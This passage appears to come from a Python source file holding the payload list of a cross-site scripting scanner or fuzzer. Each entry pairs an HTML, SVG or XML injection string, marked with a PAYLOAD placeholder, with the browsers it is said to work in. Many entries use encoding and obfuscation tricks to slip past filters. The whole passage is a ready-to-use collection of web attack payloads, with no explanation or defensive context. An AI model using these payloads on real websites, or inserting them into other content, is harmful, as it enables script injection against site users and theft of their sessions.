  290. 		{ 'payload':'''<html onMouseMove html onMouseMove="javascript:PAYLOAD"></html onMouseMove>''',
    291. 

  291. 		  'browser':"""[Not Info]"""},
    292. 

  292. 		{ 'payload':'''<applet onerror applet onerror="javascript:PAYLOAD"></applet onerror>''',
    293. 

  293. 		  'browser':"""[Not Info]"""},
    294. 

  294. 		{ 'payload':'''<body onkeyup body onkeyup="javascript:PAYLOAD"></body onkeyup>''',
    295. 

  295. 		  'browser':"""[Not Info]"""},
    296. 

  296. 		{ 'payload':'''<body onunload body onunload="javascript:PAYLOAD"></body onunload>''',
    297. 

  297. 		  'browser':"""[Not Info]"""},
    298. 

  298. 		{ 'payload':'''<iframe onload iframe onload="javascript:PAYLOAD"></iframe onload>''',
    299. 

  299. 		  'browser':"""[Not Info]"""},
    300. 

  300. 		{ 'payload':'''<body onload body onload="javascript:PAYLOAD"></body onload>''',
    301. 

  301. 		  'browser':"""[Not Info]"""},
    302. 

  302. 		{ 'payload':'''<html onmouseover html onmouseover="javascript:PAYLOAD"></html onmouseover>''',
    303. 

  303. 		  'browser':"""[Not Info]"""},
    304. 

  304. 		{ 'payload':'''<object onbeforeload object onbeforeload="javascript:PAYLOAD"></object onbeforeload>''',
    305. 

  305. 		  'browser':"""[Not Info]"""},
    306. 

  306. 		{ 'payload':'''<body onbeforeunload body onbeforeunload="javascript:PAYLOAD"></body onbeforeunload>''',
    307. 

  307. 		  'browser':"""[Not Info]"""},
    308. 

  308. 		{ 'payload':'''<body onfocus body onfocus="javascript:PAYLOAD"></body onfocus>''',
    309. 

  309. 		  'browser':"""[Not Info]"""},
    310. 

  310. 		{ 'payload':'''<body onkeydown body onkeydown="javascript:PAYLOAD"></body onkeydown>''',
    311. 

  311. 		  'browser':"""[Not Info]"""},
    312. 

  312. 		{ 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:PAYLOAD"></iframe onbeforeload>''',
    313. 

  313. 		  'browser':"""[Not Info]"""},
    314. 

  314. 		{ 'payload':'''<iframe src iframe src="javascript:PAYLOAD"></iframe src>''',
    315. 

  315. 		  'browser':"""[Not Info]"""},
    316. 

  316. 		{ 'payload':'''<svg onload svg onload="javascript:PAYLOAD"></svg onload>''',
    317. 

  317. 		  'browser':"""[Not Info]"""},
    318. 

  318. 		{ 'payload':'''<body onblur body onblur="javascript:PAYLOAD"></body onblur>''',
    319. 

  319. 		  'browser':"""[Not Info]"""},
    320. 

  320. 		{ 'payload':'''<form id="X" /><button form="X" formaction="javascript:PAYLOAD">X''',
    321. 

  321. 		  'browser':"""[HTML5 Injection]"""},
    322. 

  322. 		{ 'payload':'''<input onfocus=PAYLOAD autofocus>''',
    323. 

  323. 		  'browser':"""[Not Info]"""},
    324. 

  324. 		{ 'payload':'''<input onblur=PAYLOAD autofocus><input autofocus>''',
    325. 

  325. 		  'browser':"""[Not Info]"""},
    326. 

  326. 		{ 'payload':'''<video poster=javascript:PAYLOAD//''',
    327. 

  327. 		  'browser':"""[HTML5 Injection]"""},
    328. 

  328. 		{ 'payload':'''<body onscroll=PAYLOAD><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
    329. 

  329. 		  'browser':"""[Not Info]"""},
    330. 

  330. 		{ 'payload':'''<form id=X onforminput=PAYLOAD><input></form><button form=X onformchange=PAYLOAD>X''',
    331. 

  331. 		  'browser':"""[HTML5 Injection]"""},
    332. 

  332. 		{ 'payload':'''<video><source onerror="javascript:PAYLOAD">''',
    333. 

  333. 		  'browser':"""[Opera10.5+] [Chrome]"""},
    334. 

  334. 		{ 'payload':'''<video onerror="javascript:PAYLOAD"><source>''',
    335. 

  335. 		  'browser':"""[FF3.5+]"""},
    336. 

  336. 		{ 'payload':'''<form><button formaction="javascript:PAYLOAD">X''',
    337. 

  337. 		  'browser':"""[HTML5 Injection]"""},
    338. 

  338. 		{ 'payload':'''<body oninput=PAYLOAD><input autofocus>''',
    339. 

  339. 		  'browser':"""[IE]"""},
    340. 

  340. 		{ 'payload':'''<math href="javascript:PAYLOAD">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:PAYLOAD">CLICKME</maction> </math>''',
    341. 

  341. 		  'browser':"""[FF]"""},
    342. 

  342. 		{ 'payload':'''<frameset onload=PAYLOAD>''',
    343. 

  343. 		  'browser':"""[Not Info]"""},
    344. 

  344. 		{ 'payload':'''<table background="javascript:PAYLOAD">''',
    345. 

  345. 		  'browser':"""[Opera8|Opera10.5+] [IE6.0]"""},
    346. 

  346. 		{ 'payload':'''<!--<img src="--><img src=x onerror=PAYLOAD//">''',
    347. 

  347. 		  'browser':"""[Not Info]"""},
    348. 

  348. 		{ 'payload':'''<comment><img src="</comment><img src=x onerror=PAYLOAD)//">''',
    349. 

  349. 		  'browser':"""[IE]"""},
    350. 

  350. 		{ 'payload':'''<![><img src="]><img src=x onerror=PAYLOAD//">''',
    351. 

  351. 		  'browser':"""[FF] [Opera]"""},
    352. 

  352. 		{ 'payload':'''<style><img src="</style><img src=x onerror=PAYLOAD//">''',
    353. 

  353. 		  'browser':"""[Not Info]"""},
    354. 

  354. 		{ 'payload':'''<li style=list-style:url() onerror=PAYLOAD> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=PAYLOAD></div>''',
    355. 

  355. 		  'browser':"""[Opera10.5+]"""},
    356. 

  356. 		{ 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,PAYLOAD//#">XXX</a></body>''',
    357. 

  357. 		  'browser':"""[Opera8|Opera10.5] [IE]"""},
    358. 

  358. 		{ 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>PAYLOAD</SCRIPT>''',
    359. 

  359. 		  'browser':"""[Opera] [IE]"""},
    360. 

  360. 		{ 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(PAYLOAD)"></OBJECT>''',
    361. 

  361. 		  'browser':"""[IE9.0]"""},
    362. 

  362. 		{ 'payload':'''<b <script>alert(PAYLOAD)</script>0''',
    363. 

  363. 		  'browser':"""[Not Info]"""},
    364. 

  364. 		{ 'payload':'''<div id="div1"><input value="``onmouseover=PAYLOAD"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>''',
    365. 

  365. 		  'browser':"""[Not Info]"""},
    366. 

  366. 		{ 'payload':"""<x '='foo'><x foo='><img src=x onerror=PAYLOAD//'>""",
    367. 

  367. 		  'browser':"""[Not Info]"""},
    368. 

  368. 		{ 'payload':'''<div style=width:1px;filter:glow onfilterchange=PAYLOAD>x''',
    369. 

  369. 		  'browser':"""[IE]"""},
    370. 

  370. 		{ 'payload':"""<x '="foo"><x foo='><img src=x onerror=PAYLOAD//'>""",
    371. 

  371. 		  'browser':"""[IE6.0]"""},
    372. 

  372. 		{ 'payload':'''<? foo="><script>PAYLOAD</script>">''',
    373. 

  373. 		  'browser':"""[Not Info]"""},
    374. 

  374. 		{ 'payload':'''<! foo="><script>PAYLOAD</script>">''',
    375. 

  375. 		  'browser':"""[Not Info]"""},
    376. 

  376. 		{ 'payload':'''</ foo="><script>PAYLOAD</script>">''',
    377. 

  377. 		  'browser':"""[Not Info]"""},
    378. 

  378. 		{ 'payload':'''<? foo="><x foo="?><script>PAYLOAD</script>">">''',
    379. 

  379. 		  'browser':"""[Not Info]"""},
    380. 

  380. 		{ 'payload':'''<! foo="[[[Inception]]"><x foo="]foo><script>PAYLOAD</script>">''',
    381. 

  381. 		  'browser':"""[Not Info]"""},
    382. 

  382. 		{ 'payload':'''<% foo><x foo="%><script>PAYLOAD</script>">''',
    383. 

  383. 		  'browser':"""[Not Info]"""},
    384. 

  384. 		{ 'payload':'''<div id=d><x xmlns="><iframe onload=PAYLOAD"></div> <script>d.innerHTML=d.innerHTML</script>''',
    385. 

  385. 		  'browser':"""[IE]"""},
    386. 

  386. 		{ 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:PAYLOAD>XXX</a>''',
    387. 

  387. 		  'browser':"""[Safari] [Chrome]"""},
    388. 

  388. 		{ 'payload':'''<img src="x` `<script>PAYLOAD</script>"` `>''',
    389. 

  389. 		  'browser':"""[IE]"""},
    390. 

  390. 		{ 'payload':'''<img src onerror /" '"= alt=PAYLOAD//">''',
    391. 

  391. 		  'browser':"""[Safari]"""},
    392. 

  392. 		{ 'payload':'''<title onpropertychange=PAYLOAD></title><title title=>''',
    393. 

  393. 		  'browser':"""[IE9.0]"""},
    394. 

  394. 		{ 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=PAYLOAD></a>">''',
    395. 

  395. 		  'browser':"""[IE]"""},
    396. 

  396. 		{ 'payload':'''<!--[if]><script>PAYLOAD</script -->''',
    397. 

  397. 		  'browser':"""[IE]"""},
    398. 

  398. 		{ 'payload':'''<!--[if<img src=x onerror=PAYLOAD//]> -->''',
    399. 

  399. 		  'browser':"""[IE]"""},
    400. 

  400. 		{ 'payload':'''<script src="/\PAYLOAD"></script>''',
    401. 

  401. 		  'browser':"""[Not Info]"""},
    402. 

  402. 		{ 'payload':'''<script src="\\PAYLOAD"></script>''',
    403. 

  403. 		  'browser':"""[Not Info]"""},
    404. 

  404. 		{ 'payload':"""<a style="-o-link:'javascript:PAYLOAD';-o-link-source:current">X""",
    405. 

  405. 		  'browser':"""[Opera]"""},
    406. 

  406. 		{ 'payload':"""<style>p[foo=bar{}*{-o-link:'javascript:PAYLOAD'}{}*{-o-link-source:current}]{color:red};</style>""",
    407. 

  407. 		  'browser':"""[Opera]"""},
    408. 

  408. 		{ 'payload':'''<link rel=stylesheet href=data:,*%7bx:expression(PAYLOAD)%7d''',
    409. 

  409. 		  'browser':"""[Not Info]"""},
    410. 

  410. 		{ 'payload':'''<style>@import "data:,*%7bx:expression(PAYLOAD)%7D";</style>''',
    411. 

  411. 		  'browser':"""[Not Info]"""},
    412. 

  412. 		{ 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="PAYLOAD;">XXX</a></a><a href="javascript:PAYLOAD">XXX</a>''',
    413. 

  413. 		  'browser':"""[Not Info]"""},
    414. 

  414. 		{ 'payload':'''<script>({set/**/$($){_/**/setter=$,_=PAYLOAD}}).$=eval</script>''',
    415. 

  415. 		  'browser':"""[FF]"""},
    416. 

  416. 		{ 'payload':'''<script>({0:#0=eval/#0#/#0#(PAYLOAD)})</script>''',
    417. 

  417. 		  'browser':"""[Not Info]"""},
    418. 

  418. 		{ 'payload':'''<script>ReferenceError.prototype.__defineGetter__('name', function(){PAYLOAD}),x</script>''',
    419. 

  419. 		  'browser':"""[Not Info]"""},
    420. 

  420. 		{ 'payload':'''<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('PAYLOAD')()</script>''',
    421. 

  421. 		  'browser':"""[Not Info]"""},
    422. 

  422. 		{ 'payload':'''<script src="#">{PAYLOAD}</script>;1''',
    423. 

  423. 		  'browser':"""[Not Info]"""},
    424. 

  424. 		{ 'payload':'''+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),PAYLOAD;''',
    425. 

  425. 		  'browser':"""[Not Info]"""},
    426. 

  426. 		{ 'payload':'''<b><script<b></b><PAYLOAD</script </b>''',
    427. 

  427. 		  'browser':"""[Not Info]"""},
    428. 

  428. 		{ 'payload':'''<script<{PAYLOAD}/></script </>''',
    429. 

  429. 		  'browser':"""[Not Info]"""},
    430. 

  430. 		{ 'payload':'''<script>crypto.generateCRMFRequest('CN=0',0,0,null,'PAYLOAD',384,null,'rsa-dual-use')</script>''',
    431. 

  431. 		  'browser':"""[FF]"""},
    432. 

  432. 		{ 'payload':'''<script>[{'a':Object.prototype.__defineSetter__('b',function(){eval(arguments[0])}),'b':['PAYLOAD']}]</script>''',
    433. 

  433. 		  'browser':"""[Not Info]"""},
    434. 

  434. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:PAYLOAD"></g></svg>''',
    435. 

  435. 		  'browser':"""[Not Info]"""},
    436. 

  436. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><script>PAYLOAD</script></svg>''',
    437. 

  437. 		  'browser':"""[Not Info]"""},
    438. 

  438. 		{ 'payload':'''<svg onload="javascript:PAYLOAD" xmlns="http://www.w3.org/2000/svg"></svg>''',
    439. 

  439. 		  'browser':"""[Not Info]"""},
    440. 

  440. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:PAYLOAD"><rect width="1000" height="1000" fill="white"/></a> </svg>''',
    441. 

  441. 		  'browser':"""[FF]"""},
    442. 

  442. 		{ 'payload':'''<?xml version="1.0" standalone="no"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css"> @font-face {font-family: y; src: url("PAYLOAD#x") format("svg");} body {font: 100px "y";} </style> </head> <body>X</body> </html>''',
    443. 

  443. 		  'browser':"""[Opera 10]"""},
    444. 

  444. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <animation xlink:href="javascript:PAYLOAD"/> <animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='PAYLOAD'%3E%3C/svg%3E"/> <image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(PAYLOAD)'%3E%3C/svg%3E"/> <foreignObject xlink:href="javascript:PAYLOAD"/> <foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3EPAYLOAD%3C/script%3E"/> </svg>''',
    445. 

  445. 		  'browser':"""[Opera] [FF]"""},
    446. 

  446. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <set attributeName="onmouseover" to="PAYLOAD"/> <animate attributeName="onunload" to="PAYLOAD"/> </svg>''',
    447. 

  447. 		  'browser':"""[Not Info]"""},
    448. 

  448. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">PAYLOAD</handler> </svg>''',
    449. 

  449. 		  'browser':"""[Opera]"""},
    450. 

  450. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" id="foo"> <x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E PAYLOAD %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/> </svg>''',
    451. 

  451. 		  'browser':"""[Not Info]"""},
    452. 

  452. 		{ 'payload':'''<?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:PAYLOAD"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>''',
    453. 

  453. 		  'browser':"""[Opera]"""},
    454. 

  454. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" id="x"> <listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/> <handler id="y">PAYLOAD</handler> </svg>''',
    455. 

  455. 		  'browser':"""[Opera]"""},
    456. 

  456. 		{ 'payload':'''<svg><style>&ltimg/src=x onerror=PAYLOAD// </b>''',
    457. 

  457. 		  'browser':"""[FF]"""},
    458. 

  458. 		{ 'payload':'''<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:PAYLOAD"/>''',
    459. 

  459. 		  'browser':"""[IE]"""},
    460. 

  460. 		{ 'payload':'''<svg> <image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.PAYLOAD</script></svg>")'></svg>''',
    461. 

  461. 		  'browser':"""[Opera]"""},
    462. 

  462. 		{ 'payload':'''<?xml-stylesheet href="javascript:PAYLOAD"?>''',
    463. 

  463. 		  'browser':"""[Opera]"""},
    464. 

  464. 		{ 'payload':'''<!DOCTYPE x[<!ENTITY x SYSTEM "PAYLOAD">]><y>&x;</y>''',
    465. 

  465. 		  'browser':"""[IE]"""},
    466. 

  466. 		{ 'payload':'''<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "PAYLOAD"><x>&x;</x>''',
    467. 

  467. 		  'browser':"""[IE]"""},
    468. 

  468. 		{ 'payload':'''<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='X'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3EPAYLOAD%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> <root/>''',
    469. 

  469. 		  'browser':"""[Opera]"""},
    470. 

  470. 		{ 'payload':'''<!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "x" onerror CDATA "PAYLOAD"> ]><img /><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:PAYLOAD" xlink:type="simple">XXX</x> </doc>''',
    471. 

  471. 		  'browser':"""[Opera] [FF]"""},
    472. 

  472. 		{ 'payload':'''<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:PAYLOAD"/></onevent><timer value="1"/></card>''',
    473. 

  473. 		  'browser':"""[Opera]"""},
    474. 

  474. 		{ 'payload':'''<?xml-stylesheet type="text/css"?><root style="x:expression(PAYLOAD)"/>''',
    475. 

  475. 		  'browser':"""[IE]"""},
    476. 

  476. 		{ 'payload':'''<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:PAYLOAD" xlink:type="simple"/>''',
    477. 

  477. 		  'browser':"""[FF]"""},
    478. 

  478. 		{ 'payload':'''<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(PAYLOAD);%7d"?>''',
    479. 

  479. 		  'browser':"""[Not Info]"""},
    480. 

  480. 		{ 'payload':'''<x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:PAYLOAD"><x:timer value="1"/></x:template>''',
    481. 

  481. 		  'browser':"""[Not Info]"""},
    482. 

  482. 		{ 'payload':'''<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:PAYLOAD//#x"/>''',
    483. 

  483. 		  'browser':"""[Opera]"""},
    484. 

  484. 		{ 'payload':'''<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="PAYLOAD#x"/>''',
    485. 

  485. 		  'browser':"""[Opera]"""},
    486. 

  486. 		{ 'payload':'''X<x style=`behavior:url(#default#time2)` onbegin=`PAYLOAD` >''',
    487. 

  487. 		  'browser':"""[IE]"""},
    488. 

  488. 		{ 'payload':'''1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=PAYLOAD&gt;`>''',
    489. 

  489. 		  'browser':"""[Not Info]"""},
    490. 

  490. 		{ 'payload':'''1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=PAYLOAD&gt;>''',
    491. 

  491. 		  'browser':"""[IE]"""},
    492. 

  492. 		{ 'payload':'''1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:PAYLOAD strokecolor=white strokeweight=1000px from=0 to=1000 /></a>''',
    493. 

  493. 		  'browser':"""[IE]"""},
    494. 

  494. 		{ 'payload':'''<a style="behavior:url(#default#AnchorClick);" folder="javascript:PAYLOAD">XXX</a>''',
    495. 

  495. 		  'browser':"""[IE]"""},
    496. 

  496. 		{ 'payload':'''<event-source src="PAYLOAD" onload="PAYLOAD">''',
    497. 

  497. 		  'browser':"""[Opera]"""},
    498. 

  498. 		{ 'payload':'''<a href="javascript:PAYLOAD"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">''',
    499. 

  499. 		  'browser':"""[Opera]"""},
    500. 

  500. 		{ 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=PAYLOAD&gt;">''',
    501. 

  501. 		  'browser':"""[IE]"""},
    502. 

  502. 		{ 'payload':'''<SCRIPT SRC=PAYLOAD?<B>''',
    503. 

  503. 		  'browser':"""[Not Info]"""},
    504. 

  504. 		{ 'payload':'''<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>''',
    505. 

  505. 		  'browser':"""[Not Info]"""},
    506. 

  506. 		{ 'payload':'''<SCRIPT/SRC="PAYLOAD"></SCRIPT>''',
    507. 

  507. 		  'browser':"""[Not Info]"""},
    508. 

  508. 		{ 'payload':'''<iframe src=PAYLOAD <''',
    509. 

  509. 		  'browser':"""[Not Info]"""},
    510. 

  510. 		{ 'payload':'''<LAYER SRC="PAYLOAD"></LAYER>''',
    511. 

  511. 		  'browser':"""[Not Info]"""},
    512. 

  512. 		{ 'payload':'''<STYLE>li {list-style-image: url("javascript:PAYLOAD");}</STYLE><UL><LI>X''',
    513. 

  513. 		  'browser':"""[Not Info]"""},
    514. 

  514.    		{ 'payload':'''<META HTTP-EQUIV="Link" Content="<PAYLOAD>; REL=stylesheet">''',
    515. 

  515. 		  'browser':"""[Opera 8]"""},
    516. 

  516. 		{ 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:PAYLOAD")}</STYLE>''',
    517. 

  517. 		  'browser':"""[Not Info]"""},
    518. 

  518. 		{ 'payload':'''<HTML xmlns:X><?import namespace="X" implementation="%(htc)s"><X:X>X</X:X></HTML>""","XML namespace."),("""<XML ID="X"><I><B>&lt;IMG SRC="javas<!-- -->cript:PAYLOAD"&gt;</B></I></XML><SPAN DATASRC="#X" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
    519. 

  519. 		  'browser':"""[IE]"""},
    520. 

  520. 		{ 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="X&lt;SCRIPT DEFER&gt;PAYLOAD&lt;/SCRIPT&gt;"></BODY></HTML>''',
    521. 

  521. 		  'browser':"""[IE]"""},
    522. 

  522. 		{ 'payload':'''<P STYLE="behavior:url('#default#time2')" end="0" onEnd="PAYLOAD">''',
    523. 

  523. 		  'browser':"""[IE]"""},
    524. 

  524. 		{ 'payload':'''<STYLE>a{background:url('s1' 's2)}@import javascript:PAYLOAD;');}</STYLE>''',
    525. 

  525. 		  'browser':"""[Not Info]"""},
    526. 

  526. 		{ 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>PAYLOAD&&;&&<&&/script&&>''',
    527. 

  527. 		  'browser':"""[Not Info]"""},
    528. 

  528. 		{ 'payload':'''<SCRIPT onreadystatechange=javascript:PAYLOAD;></SCRIPT>''',
    529. 

  529. 		  'browser':"""[IE]"""},
    530. 

  530. 		{ 'payload':'''<style onreadystatechange=javascript:PAYLOAD;></style>''',
    531. 

  531. 		  'browser':"""[IE]"""},
    532. 

  532. 		{ 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>PAYLOAD;</html:script></html:html>''',
    533. 

  533. 		  'browser':"""[Not Info]"""},
    534. 

  534. 		{ 'payload':'''<embed code=javascript:PAYLOAD;></embed>''',
    535. 

  535. 		  'browser':"""[Not Info]"""},
    536. 

  536. 		{ 'payload':'''<frameset onload=javascript:PAYLOAD></frameset>''',
    537. 

  537. 		  'browser':"""[Not Info]"""},
    538. 

  538. 		{ 'payload':'''<object onerror=javascript:PAYLOAD>''',
    539. 

  539. 		  'browser':"""[Not Info]"""},
    540. 

  540. 		{ 'payload':'''<embed type="image" src=PAYLOAD></embed>''',
    541. 

  541. 		  'browser':"""[Not Info]"""},
    542. 

  542. 		{ 'payload':'''<a href="jav&#65ascript:PAYLOAD">X1</a>''',
    543. 

  543. 		  'browser':"""[Opera]"""},
    544. 

  544. 		{ 'payload':'''<a href="jav&#97ascript:PAYLOAD">X1</a>''',
    545. 

  545. 		  'browser':"""[Opera]"""},
    546. 

  546. 		{ 'payload':'''<embed width=500 height=500 code="data:text/html,<script>PAYLOAD</script>"></embed>''',
    547. 

  547. 		  'browser':"""[Not Info]"""},
    548. 

  548. 		{ 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=PAYLOAD&amp;gt;>">''',
    549. 

  549. 		  'browser':"""[Not Info]"""},
    550. 

  550. 		{ 'payload':'''<script>if(document.createElement("td").cellIndex == 0){PAYLOAD}</script>''',
    551. 

  551. 		  'browser':"""[IE]"""},
    552. 

  552. 		{ 'payload':'''<script>v=document.createElement("td").cellIndexif( v == -1){PAYLOAD}</script>''',
    553. 

  553. 		  'browser':"""[IE]"""},
    554. 

  554. 		{ 'payload':'''<script>v=document.createElement("td").cellIndexif( v> 1){PAYLOAD}</script>''',
    555. 

  555. 		  'browser':"""[IE]"""},
    556. 

  556. 		{ 'payload':'''<script>v=document.createElement("td").cellIndexif( v== undefined){PAYLOAD}</script>''',
    557. 

  557. 		  'browser':"""[IE]"""},
    558. 

  558. 		{ 'payload':'''<div/style="width:expression(confirm(PAYLOAD))">X</div>''',
    559. 

  559. 		  'browser':"""[IE7.0]"""},
    560. 

  560. 		{ 'payload':"""<sVg><scRipt %00>alert&lpar;PAYLOAD&rpar;""",
    561. 

  561. 		  'browser':"""[Opera]"""},
    562. 

  562.         { 'payload':"""<svg><script x:href='PAYLOAD'""",
    563. 

  563.           'browser':"""[Opera]"""},
    564. 

  564.         { 'payload':"""&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(PAYLOAD)>OnMouseOver""",
    565. 

  565.           'browser':"""[Opera|FF2.0]"""},
    566. 

  566.         { 'payload':"""<svg><script psy> alert(PAYLOAD)""",
    567. 

  567.           'browser':"""[Opera]"""},
    568. 

  568.         { 'payload':"""<iframe %00 src="&Tab;javascript:prompt(PAYLOAD)&Tab;"%00>""",
    569. 

  569.           'browser':"""[Chrome]"""},
    570. 

  570.         { 'payload':"""<svg><style>{font-family&colon;'<iframe/onload=confirm(PAYLOAD)>'""",
    571. 

  571.           'browser':"""[Chrome]"""},
    572. 

  572.         { 'payload':'''<input/onmouseover="javaSCRIPT&colon;confirm&lpar;PAYLOAD&rpar;"''',
    573. 

  573.           'browser':"""[Chrome]"""},
    574. 

  574.         { 'payload':"""<img/src='%00' onerror=this.onerror=confirm(PAYLOAD)""",
    575. 

  575.           'browser':"""[Chrome]"""},
    576. 

  576.         { 'payload':'''<form><isindex formaction="javascript&colon;confirm(PAYLOAD)"''',
    577. 

  577.           'browser':"""[Chrome]"""},
    578. 

  578.         { 'payload':"""<img src='%00'&NewLine; onerror=alert(PAYLOAD)&NewLine;""",
    579. 

  579.           'browser':"""[Chrome]"""},
    580. 

  580.         { 'payload':"""<script/&Tab; src='PAYLOAD' /&Tab;></script>""",
    581. 

  581.           'browser':"""[Chrome]"""},
    582. 

  582.         { 'payload':"""<ScRipT 5-0*3+9/3=>prompt(PAYLOAD)</ScRipT giveanswerhere=?""",
    583. 

  583.           'browser':"""[Chrome]"""},
    584. 

  584.         { 'payload':"""<script /*%00*/>/*%00*/alert(PAYLOAD)/*%00*/</script /*%00*/""",
    585. 

  585.           'browser':"""[Chrome]"""},
    586. 

  586.         { 'payload':"""&#34;&#62;<h1/onmouseover='\u0061lert(PAYLOAD)'>%00""",
    587. 

  587.           'browser':"""[Chrome]"""},
    588. 

  588.         { 'payload':'''<iframe/src="data:text/html,<svg &#111;&#110;load=alert(PAYLOAD)>">''',
    589. 

  589.           'browser':"""[Chrome]"""},
    590. 

  590.         { 'payload':'''<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(PAYLOAD)" http-equiv="refresh"/>''',
    591. 

  591.           'browser':"""[Chrome]"""},
    592. 

  592.         { 'payload':"""<svg><script xlink:href=data&colon;,window.open('PAYLOAD')></script""",
    593. 

  593.           'browser':"""[Chrome] [FF]"""},
    594. 

  594.         { 'payload':'''<meta http-equiv="refresh" content="0;url=javascript:confirm(PAYLOAD)">''',
    595. 

  595.           'browser':"""[Chrome]"""},
    596. 

  596.         { 'payload':"""<img/&#09;&#10;&#11; src='~' onerror=prompt(PAYLOAD)>""",
    597. 

  597.           'browser':"""[Chrome]"""},
    598. 

  598.         { 'payload':'''<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(PAYLOAD)"&#11;&#10;&#09;;>''',
    599. 

  599.           'browser':"""[Chrome]"""},
    600. 

  600.         { 'payload':"""http://www.google<script .com>alert(PAYLOAD)</script""",
    601. 

